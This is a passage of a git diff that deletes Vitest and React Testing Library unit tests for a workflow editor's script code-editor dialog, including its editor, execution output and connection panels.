-            version: 1,
-        },
-        workflowNodeName: 'testNode',
-    };
-
-    beforeEach(() => {
-        windowResizeObserver();
-        hoisted.storeState.copilotPanelOpen = false;
-        hoisted.storeState.unsavedChangesAlertDialogOpen = false;
-    });
-
-    afterEach(() => {
-        resetAll();
-        vi.clearAllMocks();
-    });
-
-    describe('rendering', () => {
-        it('should render the dialog with title', () => {
-            renderWithProviders(<PropertyCodeEditorDialog {...defaultProps} />);
-
-            expect(screen.getByText('Edit Script')).toBeInTheDocument();
-        });
-
-        it('should render the toolbar', () => {
-            renderWithProviders(<PropertyCodeEditorDialog {...defaultProps} />);
-
-            expect(screen.getByTestId('toolbar')).toBeInTheDocument();
-        });
-
-        it('should render the editor', () => {
-            renderWithProviders(<PropertyCodeEditorDialog {...defaultProps} />);
-
-            expect(screen.getByTestId('editor')).toBeInTheDocument();
-        });
-
-        it('should render the execution output', () => {
-            renderWithProviders(<PropertyCodeEditorDialog {...defaultProps} />);
-
-            expect(screen.getByTestId('execution-output')).toBeInTheDocument();
-        });
-
-        it('should render the right panel', () => {
-            renderWithProviders(<PropertyCodeEditorDialog {...defaultProps} />);
-
-            expect(screen.getByTestId('right-panel')).toBeInTheDocument();
-        });
-
-        it('should render resizable panels', () => {
-            renderWithProviders(<PropertyCodeEditorDialog {...defaultProps} />);
-
-            expect(screen.getByTestId('resizable-panel-group')).toBeInTheDocument();
-            expect(screen.getAllByTestId('resizable-panel').length).toBeGreaterThan(0);
-        });
-    });
-
-    describe('copilot panel', () => {
-        it('should not render copilot panel when copilotPanelOpen is false', () => {
-            hoisted.storeState.copilotPanelOpen = false;
-
-            renderWithProviders(<PropertyCodeEditorDialog {...defaultProps} />);
-
-            expect(screen.queryByTestId('copilot-panel')).not.toBeInTheDocument();
-        });
-
-        it('should render copilot panel when copilotPanelOpen is true', () => {
-            hoisted.storeState.copilotPanelOpen = true;
-
-            renderWithProviders(<PropertyCodeEditorDialog {...defaultProps} />);
-
-            expect(screen.getByTestId('copilot-panel')).toBeInTheDocument();
-        });
-    });
-
-    describe('unsaved changes dialog', () => {
-        it('should not render unsaved changes dialog when closed', () => {
-            hoisted.storeState.unsavedChangesAlertDialogOpen = false;
-
-            renderWithProviders(<PropertyCodeEditorDialog {...defaultProps} />);
-
-            expect(screen.queryByTestId('unsaved-changes-dialog')).not.toBeInTheDocument();
-        });
-
-        it('should render unsaved changes dialog when open', () => {
-            hoisted.storeState.unsavedChangesAlertDialogOpen = true;
-
-            renderWithProviders(<PropertyCodeEditorDialog {...defaultProps} />);
-
-            expect(screen.getByTestId('unsaved-changes-dialog')).toBeInTheDocument();
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogEditor.test.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogEditor.test.tsx
deleted file mode 100644
index 04aa9deff90..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogEditor.test.tsx
+++ /dev/null
@@ -1,137 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import PropertyCodeEditorDialogEditor from '../PropertyCodeEditorDialogEditor';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockSetEditorValue: vi.fn(),
-        storeState: {
-            editorValue: 'const x = 1;',
-        },
-    };
-});
-
-vi.mock('../stores/usePropertyCodeEditorDialogStore', () => ({
-    usePropertyCodeEditorDialogStore: (selector: (state: unknown) => unknown) =>
-        selector({
-            editorValue: hoisted.storeState.editorValue,
-            setEditorValue: hoisted.mockSetEditorValue,
-        }),
-}));
-
-vi.mock('@/shared/components/MonacoEditorWrapper', () => ({
-    default: ({
-        className,
-        defaultLanguage,
-        onChange,
-        onMount,
-        value,
-    }: {
-        className?: string;
-        defaultLanguage: string;
-        onChange: (value: string | undefined) => void;
-        onMount: (editor: {focus: () => void}) => void;
-        value?: string;
-    }) => (
-        <div data-testid="monaco-editor">
-            <span data-testid="editor-language">{defaultLanguage}</span>
-
-            <span data-testid="editor-value">{value}</span>
-
-            <span data-testid="editor-class">{className}</span>
-
-            <button
-                data-testid="change-value-btn"
-                onClick={() => {
-                    onChange('new value');
-                }}
-            >
-                Change
-            </button>
-
-            <button
-                data-testid="mount-btn"
-                onClick={() => {
-                    onMount({focus: vi.fn()});
-                }}
-            >
-                Mount
-            </button>
-        </div>
-    ),
-}));
-
-vi.mock('@/shared/components/MonacoEditorLoader', () => ({
-    default: () => <div data-testid="monaco-loader">Loading...</div>,
-}));
-
-describe('PropertyCodeEditorDialogEditor', () => {
-    beforeEach(() => {
-        windowResizeObserver();
-        hoisted.storeState.editorValue = 'const x = 1;';
-    });
-
-    afterEach(() => {
-        resetAll();
-        vi.clearAllMocks();
-    });
-
-    describe('rendering', () => {
-        it('should render Monaco editor with correct language', async () => {
-            render(<PropertyCodeEditorDialogEditor language="javascript" />);
-
-            const editor = await screen.findByTestId('monaco-editor');
-
-            expect(editor).toBeInTheDocument();
-            expect(screen.getByTestId('editor-language')).toHaveTextContent('javascript');
-        });
-
-        it('should render editor with correct value from store', async () => {
-            hoisted.storeState.editorValue = 'function test() {}';
-
-            render(<PropertyCodeEditorDialogEditor language="javascript" />);
-
-            const editorValue = await screen.findByTestId('editor-value');
-
-            expect(editorValue).toHaveTextContent('function test() {}');
-        });
-
-        it('should render editor with correct class', async () => {
-            render(<PropertyCodeEditorDialogEditor language="javascript" />);
-
-            const editorClass = await screen.findByTestId('editor-class');
-
-            expect(editorClass).toHaveTextContent('size-full');
-        });
-    });
-
-    describe('language prop', () => {
-        it('should pass python language to editor', async () => {
-            render(<PropertyCodeEditorDialogEditor language="python" />);
-
-            const editorLanguage = await screen.findByTestId('editor-language');
-
-            expect(editorLanguage).toHaveTextContent('python');
-        });
-
-        it('should pass ruby language to editor', async () => {
-            render(<PropertyCodeEditorDialogEditor language="ruby" />);
-
-            const editorLanguage = await screen.findByTestId('editor-language');
-
-            expect(editorLanguage).toHaveTextContent('ruby');
-        });
-    });
-
-    describe('onChange callback', () => {
-        it('should call setEditorValue when editor value changes', async () => {
-            render(<PropertyCodeEditorDialogEditor language="javascript" />);
-
-            const changeBtn = await screen.findByTestId('change-value-btn');
-            changeBtn.click();
-
-            expect(hoisted.mockSetEditorValue).toHaveBeenCalledWith('new value');
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogExecutionOutput.test.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogExecutionOutput.test.tsx
deleted file mode 100644
index f3346f9d83a..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogExecutionOutput.test.tsx
+++ /dev/null
@@ -1,120 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import PropertyCodeEditorDialogExecutionOutput from '../PropertyCodeEditorDialogExecutionOutput';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        storeState: {
-            scriptIsRunning: false,
-            scriptTestExecution: undefined as
-                | {
-                      error?: {message: string};
-                      output?: object | string;
-                  }
-                | undefined,
-        },
-    };
-});
-
-vi.mock('../stores/usePropertyCodeEditorDialogStore', () => ({
-    usePropertyCodeEditorDialogStore: (selector: (state: unknown) => unknown) =>
-        selector({
-            scriptIsRunning: hoisted.storeState.scriptIsRunning,
-            scriptTestExecution: hoisted.storeState.scriptTestExecution,
-        }),
-}));
-
-vi.mock('react-json-view', () => ({
-    default: ({src}: {src: object}) => <div data-testid="react-json-view">{JSON.stringify(src)}</div>,
-}));
-
-describe('PropertyCodeEditorDialogExecutionOutput', () => {
-    beforeEach(() => {
-        windowResizeObserver();
-        hoisted.storeState.scriptIsRunning = false;
-        hoisted.storeState.scriptTestExecution = undefined;
-    });
-
-    afterEach(() => {
-        resetAll();
-        vi.clearAllMocks();
-    });
-
-    describe('when script is running', () => {
-        it('should display running message', () => {
-            hoisted.storeState.scriptIsRunning = true;
-
-            render(<PropertyCodeEditorDialogExecutionOutput />);
-
-            expect(screen.getByText('Script is running...')).toBeInTheDocument();
-        });
-    });
-
-    describe('when script has not been executed', () => {
-        it('should display not executed message', () => {
-            hoisted.storeState.scriptIsRunning = false;
-            hoisted.storeState.scriptTestExecution = undefined;
-
-            render(<PropertyCodeEditorDialogExecutionOutput />);
-
-            expect(screen.getByText('The script has not yet been executed.')).toBeInTheDocument();
-        });
-    });
-
-    describe('when script has object output', () => {
-        it('should render ReactJson component with output', async () => {
-            hoisted.storeState.scriptIsRunning = false;
-            hoisted.storeState.scriptTestExecution = {
-                output: {key: 'value', nested: {data: 123}},
-            };
-
-            render(<PropertyCodeEditorDialogExecutionOutput />);
-
-            // Wait for Suspense to resolve
-            const jsonView = await screen.findByTestId('react-json-view');
-
-            expect(jsonView).toBeInTheDocument();
-            expect(jsonView).toHaveTextContent('key');
-            expect(jsonView).toHaveTextContent('value');
-        });
-    });
-
-    describe('when script has string output', () => {
-        it('should render output as text', () => {
-            hoisted.storeState.scriptIsRunning = false;
-            hoisted.storeState.scriptTestExecution = {
-                output: 'Hello, World!' as unknown as object,
-            };
-
-            render(<PropertyCodeEditorDialogExecutionOutput />);
-
-            expect(screen.getByText('Hello, World!')).toBeInTheDocument();
-        });
-    });
-
-    describe('when script has error', () => {
-        it('should display error message', () => {
-            hoisted.storeState.scriptIsRunning = false;
-            hoisted.storeState.scriptTestExecution = {
-                error: {message: 'Something went wrong'},
-            };
-
-            render(<PropertyCodeEditorDialogExecutionOutput />);
-
-            expect(screen.getByText('Error')).toBeInTheDocument();
-            expect(screen.getByText('Something went wrong')).toBeInTheDocument();
-        });
-    });
-
-    describe('when script has no output and no error', () => {
-        it('should display no defined output message', () => {
-            hoisted.storeState.scriptIsRunning = false;
-            hoisted.storeState.scriptTestExecution = {};
-
-            render(<PropertyCodeEditorDialogExecutionOutput />);
-
-            expect(screen.getByText('No defined output.')).toBeInTheDocument();
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogRightPanel.test.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogRightPanel.test.tsx
deleted file mode 100644
index 2f319110e8c..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogRightPanel.test.tsx
+++ /dev/null
@@ -1,158 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import PropertyCodeEditorDialogRightPanel from '../PropertyCodeEditorDialogRightPanel';
-
-vi.mock('../PropertyCodeEditorDialogRightPanelInput', () => ({
-    default: ({input}: {input: {[key: string]: object}}) => (
-        <div data-testid="right-panel-inputs">
-            <span data-testid="inputs-data">{JSON.stringify(input)}</span>
-        </div>
-    ),
-}));
-
-vi.mock('../PropertyCodeEditorDialogRightPanelConnections', () => ({
-    default: ({
-        componentConnections,
-        workflowNodeName,
-    }: {
-        componentConnections: Array<{key: string}>;
-        workflow: object;
-        workflowNodeName: string;
-    }) => (
-        <div data-testid="right-panel-connections">
-            <span data-testid="connections-count">{componentConnections.length}</span>
-
-            <span data-testid="connections-node-name">{workflowNodeName}</span>
-        </div>
-    ),
-}));
-
-const mockUseClusterElementScriptInputQuery = vi.fn();
-const mockUseWorkflowNodeScriptInputQuery = vi.fn();
-const mockUseClusterElementComponentConnectionsQuery = vi.fn();
-const mockUseWorkflowNodeComponentConnectionsQuery = vi.fn();
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useClusterElementComponentConnectionsQuery: (...args: unknown[]) =>
-        mockUseClusterElementComponentConnectionsQuery(...args),
-    useClusterElementScriptInputQuery: (...args: unknown[]) => mockUseClusterElementScriptInputQuery(...args),
-    useWorkflowNodeComponentConnectionsQuery: (...args: unknown[]) =>
-        mockUseWorkflowNodeComponentConnectionsQuery(...args),
-    useWorkflowNodeScriptInputQuery: (...args: unknown[]) => mockUseWorkflowNodeScriptInputQuery(...args),
-}));
-
-vi.mock('@/pages/platform/workflow-editor/stores/useWorkflowEditorStore', () => ({
-    default: () => undefined,
-}));
-
-vi.mock('@/pages/platform/workflow-editor/stores/useWorkflowNodeDetailsPanelStore', () => ({
-    default: () => ({clusterElementType: undefined, name: 'testNode'}),
-}));
-
-vi.mock('@/shared/stores/useEnvironmentStore', () => ({
-    useEnvironmentStore: () => 1,
-}));
-
-describe('PropertyCodeEditorDialogRightPanel', () => {
-    const defaultProps = {
-        workflow: {
-            definition: '{}',
-            id: 'workflow-1',
-            tasks: [
-                {
-                    name: 'testNode',
-                    parameters: {
-                        input: {param1: 'value1', param2: 'value2'},
-                    },
-                    type: 'script/script',
-                },
-            ],
-            version: 1,
-        },
-        workflowNodeName: 'testNode',
-    };
-
-    const mockComponentConnections = [
-        {componentName: 'slack', componentVersion: 1, key: 'slack_1', required: true, workflowNodeName: 'testNode'},
-        {componentName: 'github', componentVersion: 1, key: 'github_1', required: false, workflowNodeName: 'testNode'},
-    ];
-
-    beforeEach(() => {
-        windowResizeObserver();
-        mockUseClusterElementScriptInputQuery.mockReturnValue({data: undefined});
-        mockUseWorkflowNodeScriptInputQuery.mockReturnValue({
-            data: {workflowNodeScriptInput: {param1: 'value1', param2: 'value2'}},
-        });
-        mockUseClusterElementComponentConnectionsQuery.mockReturnValue({data: undefined});
-        mockUseWorkflowNodeComponentConnectionsQuery.mockReturnValue({
-            data: {workflowNodeComponentConnections: mockComponentConnections},
-        });
-    });
-
-    afterEach(() => {
-        resetAll();
-        vi.clearAllMocks();
-    });
-
-    describe('rendering', () => {
-        it('should render inputs panel', () => {
-            render(<PropertyCodeEditorDialogRightPanel {...defaultProps} />);
-
-            expect(screen.getByTestId('right-panel-inputs')).toBeInTheDocument();
-        });
-
-        it('should render connections panel', () => {
-            render(<PropertyCodeEditorDialogRightPanel {...defaultProps} />);
-
-            expect(screen.getByTestId('right-panel-connections')).toBeInTheDocument();
-        });
-    });
-
-    describe('inputs panel', () => {
-        it('should pass task parameters input to inputs panel', () => {
-            render(<PropertyCodeEditorDialogRightPanel {...defaultProps} />);
-
-            const inputsData = screen.getByTestId('inputs-data');
-
-            expect(inputsData).toHaveTextContent('param1');
-            expect(inputsData).toHaveTextContent('value1');
-        });
-
-        it('should pass empty object when query returns empty', () => {
-            mockUseWorkflowNodeScriptInputQuery.mockReturnValue({
-                data: {workflowNodeScriptInput: null},
-            });
-
-            render(<PropertyCodeEditorDialogRightPanel {...defaultProps} />);
-
-            const inputsData = screen.getByTestId('inputs-data');
-
-            expect(inputsData).toHaveTextContent('{}');
-        });
-    });
-
-    describe('connections panel', () => {
-        it('should pass component connections from GraphQL query to connections panel', () => {
-            render(<PropertyCodeEditorDialogRightPanel {...defaultProps} />);
-
-            expect(screen.getByTestId('connections-count')).toHaveTextContent('2');
-        });
-
-        it('should pass workflow node name to connections panel', () => {
-            render(<PropertyCodeEditorDialogRightPanel {...defaultProps} />);
-
-            expect(screen.getByTestId('connections-node-name')).toHaveTextContent('testNode');
-        });
-
-        it('should pass empty array when query returns no connections', () => {
-            mockUseWorkflowNodeComponentConnectionsQuery.mockReturnValue({
-                data: {workflowNodeComponentConnections: null},
-            });
-
-            render(<PropertyCodeEditorDialogRightPanel {...defaultProps} />);
-
-            expect(screen.getByTestId('connections-count')).toHaveTextContent('0');
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogRightPanelConnections.test.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogRightPanelConnections.test.tsx
deleted file mode 100644
index 1a41da59fa1..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogRightPanelConnections.test.tsx
+++ /dev/null
@@ -1,256 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import PropertyCodeEditorDialogRightPanelConnections from '../PropertyCodeEditorDialogRightPanelConnections';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockHandleCloseConnectionNote: vi.fn(),
-        mockHandleOnRemoveClick: vi.fn(),
-        mockHandleOnSubmit: vi.fn(),
-        mockSetShowNewConnectionDialog: vi.fn(),
-        mockUseCreateConnectionMutation: vi.fn(),
-        mockUseGetConnectionTagsQuery: vi.fn(),
-        storeState: {
-            componentDefinitions: [{name: 'slack', title: 'Slack', version: 1}],
-            showConnectionNote: true,
-            showNewConnectionDialog: false,
-            workflowTestConfigurationConnections: [] as Array<{connectionId: number; workflowConnectionKey: string}>,
-        },
-    };
-});
-
-vi.mock('../hooks/usePropertyCodeEditorDialogRightPanelConnections', () => ({
-    usePropertyCodeEditorDialogRightPanelConnections: () => ({
-        ConnectionKeys: {
-            connectionTags: ['connectionTags'],
-            connections: ['connections'],
-        },
-        componentDefinitions: hoisted.storeState.componentDefinitions,
-        handleCloseConnectionNote: hoisted.mockHandleCloseConnectionNote,
-        handleOnRemoveClick: hoisted.mockHandleOnRemoveClick,
-        handleOnSubmit: hoisted.mockHandleOnSubmit,
-        setShowNewConnectionDialog: hoisted.mockSetShowNewConnectionDialog,
-        showConnectionNote: hoisted.storeState.showConnectionNote,
-        showNewConnectionDialog: hoisted.storeState.showNewConnectionDialog,
-        useCreateConnectionMutation: hoisted.mockUseCreateConnectionMutation,
-        useGetConnectionTagsQuery: hoisted.mockUseGetConnectionTagsQuery,
-        workflowTestConfigurationConnections: hoisted.storeState.workflowTestConfigurationConnections,
-    }),
-}));
-
-vi.mock('../PropertyCodeEditorDialogRightPanelConnectionsLabel', () => ({
-    default: ({
-        componentConnection,
-        onRemoveClick,
-    }: {
-        componentConnection: {key: string};
-        onRemoveClick: () => void;
-    }) => (
-        <div data-testid={`connection-label-${componentConnection.key}`}>
-            <span>{componentConnection.key}</span>
-
-            <button data-testid={`remove-btn-${componentConnection.key}`} onClick={onRemoveClick}>
-                Remove
-            </button>
-        </div>
-    ),
-}));
-
-vi.mock('../PropertyCodeEditorDialogRightPanelConnectionsSelect', () => ({
-    default: ({componentConnection}: {componentConnection: {key: string}}) => (
-        <div data-testid={`connection-select-${componentConnection.key}`}>Select for {componentConnection.key}</div>
-    ),
-}));
-
-vi.mock('../PropertyCodeEditorDialogRightPanelConnectionsPopover', () => ({
-    default: ({onSubmit, triggerNode}: {onSubmit: (values: unknown) => void; triggerNode?: React.ReactNode}) => (
-        <div data-testid="connections-popover">
-            {triggerNode || <button data-testid="add-component-btn">Add Component</button>}
-
-            <button
-                data-testid="submit-popover-btn"
-                onClick={() => onSubmit({componentName: 'slack', componentVersion: 1, name: 'mySlack'})}
-            >
-                Submit
-            </button>
-        </div>
-    ),
-}));
-
-vi.mock('@/shared/components/connection/ConnectionDialog', () => ({
-    default: ({onClose}: {onClose: () => void}) => (
-        <div data-testid="connection-dialog">
-            Connection Dialog
-            <button data-testid="close-dialog-btn" onClick={onClose}>
-                Close
-            </button>
-        </div>
-    ),
-}));
-
-describe('PropertyCodeEditorDialogRightPanelConnections', () => {
-    const defaultProps = {
-        componentConnections: [
-            {componentName: 'slack', componentVersion: 1, key: 'slack_1', required: true, workflowNodeName: 'testNode'},
-            {
-                componentName: 'github',
-                componentVersion: 1,
-                key: 'github_1',
-                required: false,
-                workflowNodeName: 'testNode',
-            },
-        ],
-        workflow: {
-            definition: '{}',
-            id: 'workflow-1',
-            tasks: [],
-            version: 1,
-        },
-        workflowNodeName: 'testNode',
-    };
-
-    beforeEach(() => {
-        windowResizeObserver();
-        hoisted.storeState.showConnectionNote = true;
-        hoisted.storeState.showNewConnectionDialog = false;
-        hoisted.storeState.workflowTestConfigurationConnections = [];
-    });
-
-    afterEach(() => {
-        resetAll();
-        vi.clearAllMocks();
-    });
-
-    describe('rendering', () => {
-        it('should render the Connections title', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnections {...defaultProps} />);
-
-            expect(screen.getByText('Connections')).toBeInTheDocument();
-        });
-    });
-
-    describe('when component connections exist', () => {
-        it('should render connection labels for each connection', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnections {...defaultProps} />);
-
-            expect(screen.getByTestId('connection-label-slack_1')).toBeInTheDocument();
-            expect(screen.getByTestId('connection-label-github_1')).toBeInTheDocument();
-        });
-
-        it('should render connection selects for each connection', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnections {...defaultProps} />);
-
-            expect(screen.getByTestId('connection-select-slack_1')).toBeInTheDocument();
-            expect(screen.getByTestId('connection-select-github_1')).toBeInTheDocument();
-        });
-
-        it('should render add component popover', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnections {...defaultProps} />);
-
-            expect(screen.getByTestId('connections-popover')).toBeInTheDocument();
-        });
-
-        it('should call handleOnRemoveClick when remove button is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<PropertyCodeEditorDialogRightPanelConnections {...defaultProps} />);
-
-            await user.click(screen.getByTestId('remove-btn-slack_1'));
-
-            expect(hoisted.mockHandleOnRemoveClick).toHaveBeenCalledWith('slack_1');
-        });
-
-        it('should call handleOnSubmit when popover form is submitted', async () => {
-            const user = userEvent.setup();
-
-            render(<PropertyCodeEditorDialogRightPanelConnections {...defaultProps} />);
-
-            await user.click(screen.getByTestId('submit-popover-btn'));
-
-            expect(hoisted.mockHandleOnSubmit).toHaveBeenCalledWith({
-                componentName: 'slack',
-                componentVersion: 1,
-                name: 'mySlack',
-            });
-        });
-    });
-
-    describe('when no component connections exist', () => {
-        it('should display empty state message', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnections {...defaultProps} componentConnections={[]} />);
-
-            expect(screen.getByText('No defined components')).toBeInTheDocument();
-            expect(
-                screen.getByText('You have not defined any component and its connection to use inside this script yet.')
-            ).toBeInTheDocument();
-        });
-
-        it('should display add component button', () => {
-            render(<PropertyCodeEditorDialogRightPanelConnections {...defaultProps} componentConnections={[]} />);
-
-            expect(screen.getByTestId('connections-popover')).toBeInTheDocument();
-        });
-
-        it('should display connection note when showConnectionNote is true', () => {
-            hoisted.storeState.showConnectionNote = true;
-
-            render(<PropertyCodeEditorDialogRightPanelConnections {...defaultProps} componentConnections={[]} />);
-
-            expect(screen.getByText('Note')).toBeInTheDocument();
-            expect(
-                screen.getByText('The selected connections are used for testing purposes only.')
-            ).toBeInTheDocument();
-        });
-
-        it('should not display connection note when showConnectionNote is false', () => {
-            hoisted.storeState.showConnectionNote = false;
-
-            render(<PropertyCodeEditorDialogRightPanelConnections {...defaultProps} componentConnections={[]} />);
-
-            expect(screen.queryByText('Note')).not.toBeInTheDocument();
-        });
-
-        it('should call handleCloseConnectionNote when note close button is clicked', async () => {
-            const user = userEvent.setup();
-            hoisted.storeState.showConnectionNote = true;
-
-            render(<PropertyCodeEditorDialogRightPanelConnections {...defaultProps} componentConnections={[]} />);
-
-            const closeNoteButton = screen.getByTitle('Close the note');
-
-            await user.click(closeNoteButton);
-
-            expect(hoisted.mockHandleCloseConnectionNote).toHaveBeenCalled();
-        });
-    });
-
-    describe('connection dialog', () => {
-        it('should render connection dialog when showNewConnectionDialog is true', () => {
-            hoisted.storeState.showNewConnectionDialog = true;
-
-            render(<PropertyCodeEditorDialogRightPanelConnections {...defaultProps} />);
-
-            expect(screen.getByTestId('connection-dialog')).toBeInTheDocument();
-        });
-
-        it('should not render connection dialog when showNewConnectionDialog is false', () => {
-            hoisted.storeState.showNewConnectionDialog = false;
-
-            render(<PropertyCodeEditorDialogRightPanelConnections {...defaultProps} />);
-
-            expect(screen.queryByTestId('connection-dialog')).not.toBeInTheDocument();
-        });
-
-        it('should call setShowNewConnectionDialog(false) when dialog is closed', async () => {
-            const user = userEvent.setup();
-            hoisted.storeState.showNewConnectionDialog = true;
-
-            render(<PropertyCodeEditorDialogRightPanelConnections {...defaultProps} />);
-
-            await user.click(screen.getByTestId('close-dialog-btn'));
-
-            expect(hoisted.mockSetShowNewConnectionDialog).toHaveBeenCalledWith(false);
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogRightPanelConnectionsLabel.test.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogRightPanelConnectionsLabel.test.tsx
deleted file mode 100644
index df751349ffb..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogRightPanelConnectionsLabel.test.tsx
+++ /dev/null
@@ -1,143 +0,0 @@
-import {TooltipProvider} from '@/components/ui/tooltip';
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import PropertyCodeEditorDialogRightPanelConnectionsLabel from '../PropertyCodeEditorDialogRightPanelConnectionsLabel';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        storeState: {
-            componentDefinition: {
-                name: 'slack',
-                title: 'Slack',
-                version: 1,
-            } as {name: string; title: string; version: number} | undefined,
-        },
-    };
-});
-
-vi.mock('../hooks/usePropertyCodeEditorDialogRightPanelConnectionsLabel', () => ({
-    default: () => ({
-        componentDefinition: hoisted.storeState.componentDefinition,
-    }),
-}));
-
-const renderWithProviders = (ui: React.ReactElement) => {
-    return render(<TooltipProvider>{ui}</TooltipProvider>);
-};
-
-describe('PropertyCodeEditorDialogRightPanelConnectionsLabel', () => {
-    const defaultProps = {
-        componentConnection: {
-            componentName: 'slack',
-            componentVersion: 1,
-            key: 'slack_1',
-            required: true,
-            workflowNodeName: 'testNode',
-        },
-        onRemoveClick: vi.fn(),
-    };
-
-    beforeEach(() => {
-        windowResizeObserver();
-        hoisted.storeState.componentDefinition = {
-            name: 'slack',
-            title: 'Slack',
-            version: 1,
-        };
-    });
-
-    afterEach(() => {
-        resetAll();
-        vi.clearAllMocks();
-    });
-
-    describe('rendering', () => {
-        it('should render the component title', () => {
-            renderWithProviders(<PropertyCodeEditorDialogRightPanelConnectionsLabel {...defaultProps} />);
-
-            expect(screen.getByText('Slack')).toBeInTheDocument();
-        });
-
-        it('should render the connection key', () => {
-            renderWithProviders(<PropertyCodeEditorDialogRightPanelConnectionsLabel {...defaultProps} />);
-
-            expect(screen.getByText('slack_1')).toBeInTheDocument();
-        });
-
-        it('should render remove button', () => {
-            renderWithProviders(<PropertyCodeEditorDialogRightPanelConnectionsLabel {...defaultProps} />);
-
-            expect(screen.getByRole('button', {name: 'Remove'})).toBeInTheDocument();
-        });
-    });
-
-    describe('required mark', () => {
-        it('should show required mark when connection is required', () => {
-            renderWithProviders(<PropertyCodeEditorDialogRightPanelConnectionsLabel {...defaultProps} />);
-
-            // RequiredMark component renders an asterisk
-            const label = screen.getByText('Slack').closest('label');
-
-            expect(label).toBeInTheDocument();
-        });
-
-        it('should not show required mark when connection is not required', () => {
-            const props = {
-                ...defaultProps,
-                componentConnection: {
-                    ...defaultProps.componentConnection,
-                    required: false,
-                },
-            };
-
-            renderWithProviders(<PropertyCodeEditorDialogRightPanelConnectionsLabel {...props} />);
-
-            expect(screen.getByText('Slack')).toBeInTheDocument();
-        });
-    });
-
-    describe('remove button', () => {
-        it('should call onRemoveClick when clicked', async () => {
-            const user = userEvent.setup();
-            const mockOnRemoveClick = vi.fn();
-
-            renderWithProviders(
-                <PropertyCodeEditorDialogRightPanelConnectionsLabel
-                    {...defaultProps}
-                    onRemoveClick={mockOnRemoveClick}
-                />
-            );
-
-            await user.click(screen.getByRole('button', {name: 'Remove'}));
-
-            expect(mockOnRemoveClick).toHaveBeenCalledTimes(1);
-        });
-    });
-
-    describe('when component definition is not available', () => {
-        it('should not render title when componentDefinition is undefined', () => {
-            hoisted.storeState.componentDefinition = undefined;
-
-            renderWithProviders(<PropertyCodeEditorDialogRightPanelConnectionsLabel {...defaultProps} />);
-
-            expect(screen.queryByText('Slack')).not.toBeInTheDocument();
-        });
-
-        it('should still render connection key', () => {
-            hoisted.storeState.componentDefinition = undefined;
-
-            renderWithProviders(<PropertyCodeEditorDialogRightPanelConnectionsLabel {...defaultProps} />);
-
-            expect(screen.getByText('slack_1')).toBeInTheDocument();
-        });
-
-        it('should still render remove button', () => {
-            hoisted.storeState.componentDefinition = undefined;
-
-            renderWithProviders(<PropertyCodeEditorDialogRightPanelConnectionsLabel {...defaultProps} />);
-
-            expect(screen.getByRole('button', {name: 'Remove'})).toBeInTheDocument();
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogRightPanelConnectionsPopover.test.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogRightPanelConnectionsPopover.test.tsx
deleted file mode 100644
index 4a6587728f5..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/tests/PropertyCodeEditorDialogRightPanelConnectionsPopover.test.tsx
